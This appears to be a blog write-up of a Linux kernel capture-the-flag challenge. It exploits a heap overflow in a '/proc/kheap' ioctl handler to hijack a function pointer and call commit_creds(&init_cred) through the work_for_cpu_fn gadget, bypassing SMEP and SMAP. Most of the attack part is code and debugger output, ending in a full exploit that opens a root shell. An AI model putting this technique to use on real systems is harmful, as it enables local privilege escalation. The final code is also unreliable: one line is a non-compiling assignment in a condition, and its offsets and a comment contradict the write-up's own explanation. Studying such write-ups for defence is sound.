In this post, I'll walk through a Linux kernel exploitation challenge that involves a heap overflow vulnerability. We'll explore how to analyze the kernel slab allocator, calculate offsets to control execution flow, and ultimately bypass modern protections like SMEP (Supervisor Mode Execution Prevention) and SMAP (Supervisor Mode Access Prevention) to gain root privileges.
Doing all this with and interesting gadget in the kernel work_for_cpu_fn. and invoke it with commit_creds(&init_cred).

what are we working with (slabinfo)
$ sudo cat /proc/slabinfo
8 objects
512 objsize
Calculations for the slab layout:
- Total size per slab:
8 objects * 512 bytes = 4096 bytes (0x1000) - Object size:
0x1000 / 8 = 0x200 bytes

We are able to fill these slabs with the following code:
int fds[0x8];
for (int i = 0; i < 8; i++)
fds[i] = open("/proc/kheap", O_RDWR);
This will fill it with 8 objects.
The vulnerability in the ioctl function
We have 3 functions in the ioctl function we can use them by sending the right value to the ioctl function.

0x5700= read,0x5701= write,0x5702= call
Reverse engineering the kernel module reveals the expected structure for the ioctl arguments:
kheap_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg)
- fd
- cmd (0x5700, 0x5701, 0x5702)
- arg (struct kheap_req_t)
The argument structure (kheap_req_t) is defined as follows from IDA:

typedef unsigned long long u64;
typedef struct kheap_req_t {
u64 ubuf;
u64 size;
} kheap_req_t;
So to call the ioctl function we need to do the following:
void do_write(int fd, void *buf, size_t size) {
kheap_req_t req = {
.ubuf = (u64)buf,
.size = (u64)size
};
int ret = ioctl(fd, 0x5701, &req);
assert(ret == 0);
}
Kernel Heap Overflow
The do_write handler (0x5701) allows us to write data into the kernel heap object. Due to a lack of bounds checking, we can overflow from one object into the next.
Since the object size is 0x200, and the function pointer is located at offset 0x1f8 (near the end of the object), we can receive control by overwriting it. Additionally, because do_write allows writing 0x400 bytes, we overflow into the next object to control the data pointed to by registers (like RDI) during the hijacked call.
Target Computation:
- Slab Object Size:
0x200 - Target Offset:
0x1f8(Function pointer inside the current object) - Overflow Data:
0x200to0x400(Overwrites the next object to control arguments)
char buf[0x400];
memset(buf, 'A', sizeof(buf));
// Overwrite the function pointer of the NEXT object
*(u64*)&buf[0x1f8] = 0x4242424242424242;
do_write(fd, buf, sizeof(buf));
We first have to put our breakpoint somewhere to see what we are doing, and if it reaches the function correctly.
sudo cat /proc/kallsyms | grep vuln_ioctl
and set a breakpoint on the function so we can trace through it. We see that when the function is overwritten, on one of the calls it will call the function pointer overwritten, with our placed hijack.
And after this gives a segmentation fault, check it with dmesg.
$ sudo dmesg
This shows us that we are able to control the function pointer and call it, not only RIP, but also the value that RDI points to.
Controlling the exploit to gain root privileges
The gadgets we need to use with SMEP & SMAP enabled
- We have control over the value in $RDI points to, $RAX and $RIP eventually.
- We need a gadget to call
commit_credswith&init_credas argument.
The function work_for_cpu_fn

- https://elixir.bootlin.com/linux/v6.7.9/source/kernel/workqueue.c#L5614 As shown in a video from pwn.college this function has a special gadgets we need.
Lets look at the function in GDB so we can see the gadgets we need:
gef➤ disas 0xffffffff810a5570
Dump of assembler code for function work_for_cpu_fn:
0xffffffff810a5570 <+0>: endbr64
0xffffffff810a5574 <+4>: push rbx
0xffffffff810a5575 <+5>: mov rbx,rdi
0xffffffff810a5578 <+8>: mov rdi,QWORD PTR [rdi+0x28]
0xffffffff810a557c <+12>: mov rax,QWORD PTR [rbx+0x20]
0xffffffff810a5580 <+16>: call 0xffffffff81ebe160 <__x86_indirect_thunk_array>
0xffffffff810a5585 <+21>: mov QWORD PTR [rbx+0x30],rax
0xffffffff810a5589 <+25>: pop rbx
0xffffffff810a558a <+26>: ret
Why this is perfect:
- It takes our object pointer (which we corrupted) as
rdi. - It loads a new struct pointer from
[rdi + 0x28]and puts it intordi. This allows us to control the argument for the next function call (init_cred). - It loads a function pointer from
[rbx + 0x20]and calls it. This allows us to callcommit_credswith theraxregister.
Attack Flow Analysis
Step 1: Entry
When replacing the 0x4242424242424242 with the address of the function we want to call work_for_cpu_fn, we can see that it changes control to the function. So we trigger the overwritten function pointer to jump to work_for_cpu_fn.
And hitting the breakpoint in gdb.
Step 2: Save Context
- at
work_for_cpu_fn+5it executes:mov rbx, rdi-> The kernel saves our managed object pointer intorbx.
Step 3: Argument Setup
- at
work_for_cpu_fn+8it executes:mov rdi, QWORD PTR [rdi+0x28]-> The kernel loads the first argument for the next call. We set this value in our payload to&init_cred.
- Result:
RDI = &init_cred
gef➤ x/x $rdi
0xffffffff82a52f20 <init_cred>: 0x0000000000000004
Step 4: Function Setup
- at
work_for_cpu_fn+12it executes:mov rax, QWORD PTR [rbx+0x20]-> The kernel loads the target function address. We set this to&commit_creds.
- Result:
RAX = &commit_creds
Step 5: Execution
- at
work_for_cpu_fn+16it executes:call rax-> The kernel executescommit_creds(&init_cred), elevating our privileges to root effectively instantly.
5. Full Exploit Code
The final exploit uses the documented offset 0x1f8 to place the work_for_cpu_fn address, followed by the Payload at offsets 0x20 (function) and 0x28 (argument).
full exploit code
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <stdint.h>
typedef unsigned long long u64;
typedef struct kheap_req_t {
u64 ubuf;
u64 size;
} kheap_req_t;
void do_read(int fd, void *buf, size_t size) {
kheap_req_t req = {
.ubuf = (u64)buf,
.size = (u64)size
};
int ret = ioctl(fd, 0x5700, &req);
assert(ret == 0);
}
void do_write(int fd, void *buf, size_t size) {
kheap_req_t req = {
.ubuf = (u64)buf,
.size = (u64)size
};
int ret = ioctl(fd, 0x5701, &req);
assert(ret == 0);
}
void do_call(int fd) {
kheap_req_t req = {
.ubuf = (u64)0,
.size = (u64)0
};
int ret = ioctl(fd, 0x5702, &req);
assert(ret == 0);
}
int fds[0x7];
int main() {
int fd = open("/proc/kheap", O_RDWR);
assert(fd > 0);
for (int i = 0; i < 7; i++) fds[i]= open("/proc/kheap", O_RDWR);
char buf[0x400];
memset(buf, 'A', sizeof(buf));
*(u64*)&buf[0x1f8]= 0xffffffff810a5570; // work_for_cpu_fn
*(u64*)&buf[0x1f8 + 0x30]= 0xffffffff82a52f20; // &init_cred
*(u64*)&buf[0x1f8 + 0x28]= 0xffffffff810b8bb0; // commit_creds
do_write(fd, buf, sizeof(buf)); // the objsize is 0x400 but the ptr takes 0x8 so its 0x1f8
printf("uid=%d\n", getuid());
for (int i= 0; i < 7; i++) {
do_call(fds[i]);
if (getuid()= 0) break;
}
printf("uid=%d\n", getuid());
execl("/bin/sh", "sh", NULL);
close(fd);
for (int i= 0; i < 7; i++) close(fds[i]);
}
Please contact me if you have any questions, seen any errors or have any comments.